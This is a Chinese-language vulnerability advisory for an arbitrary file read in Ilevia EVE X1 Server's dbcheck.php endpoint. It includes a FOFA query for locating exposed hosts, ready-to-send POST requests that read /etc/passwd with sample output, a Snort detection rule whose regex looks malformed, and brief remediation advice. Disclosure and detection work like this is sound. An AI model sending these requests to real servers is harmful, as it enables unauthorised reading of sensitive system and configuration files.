

# IleviaEVEX1Server-dbcheck-任意文件读取

IleviaEVEX1Server-dbcheck-任意文件读取，攻击者可进行文件读取，获取重要敏感配置信息。

## 影响版本

IleviaEVEX1Server

## 漏洞状态

| 漏洞细节 | 漏洞POC | 漏洞EXP | 在野利用 |
|------|-------|-------|------|
| 是    | 已公开   | 已公开   | 已知   |

## 风险等级

| 维度    | 评价 |
|-------|----|
| 威胁等级  | 高危 |
| 影响面   | 广  |
| 攻击者价值 | 高  |
| 利用难度  | 低  |

## 漏洞复现

FOFA: app="ilevia-EVE-X1-Server"

POC/EXP:

```
POST /ajax/php/dbcheck.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.5 Mobile/15E148 Safari/604.1
Connection: close
Content-Length: 18
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

db_log=/etc/passwd
```

```
POST /ajax/php/dbcheck.php HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.5 Mobile/15E148 Safari/604.1
Connection: close
Content-Length: 18
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

db_log=/etc/passwd

1 HTTP/1.1 200 OK
2 Date: Tue, 12 Aug 2025 01:14:11 GMT
3 Server: Apache/2.4.38 (Debian)
4 Vary: Accept-Encoding
5 Connection: close
6 Content-Type: text/html; charset=UTF-8
7 Content-Length: 1963
8
9 root:x:0:0:
10 daemon:x:1:1:
11 bin:x:2:2:
12 sys:x:3:3:
13 sync:x:4:65:
14 games:x:5:60:
15 man:x:6:12:
16 lp:x:7:7:lp
17 mail:x:8:8:
18 news:x:9:9:
19 uucp:x:10:10:
20 proxy:x:13:13:
21 www-data:x:34:34:
22 backup:x:34:34:
23 list:x:38:38:
24 irc:x:39:39:
25 gnats:x:41:41:
26 nobody:x:65:65:
27 _apt:x:100:100:
28 systemd-timesyncd:x:100:100:
29 systemd-networkd:x:100:100:
30 systemd-resolved:x:100:100:
```

sonrt规则：

```
alert http any any -> $HOME_NET any (
  msg:"Ilevia EVEX1 Server - Arbitrary File Read via dbcheck.php";
  flow:to_server,established;
  http.method; content:"POST";
  http.uri; content:"/ajax/php/dbcheck.php";
  http.client_body; content:"db_log=";
  pcre:"/db_log=\\etc\\/passwd/i";
  metadata:service http;
  metadata:affected_product "Ilevia EVEX1 Server";
  metadata:vulnerability_type "Local File Inclusion";
  classtype:web-application-attack;
  sid:1000419;
  rev:1;
  priority:1;
)
```

# 漏洞修复

关闭互联网暴露面或接口设置访问权限

升级至安全版本。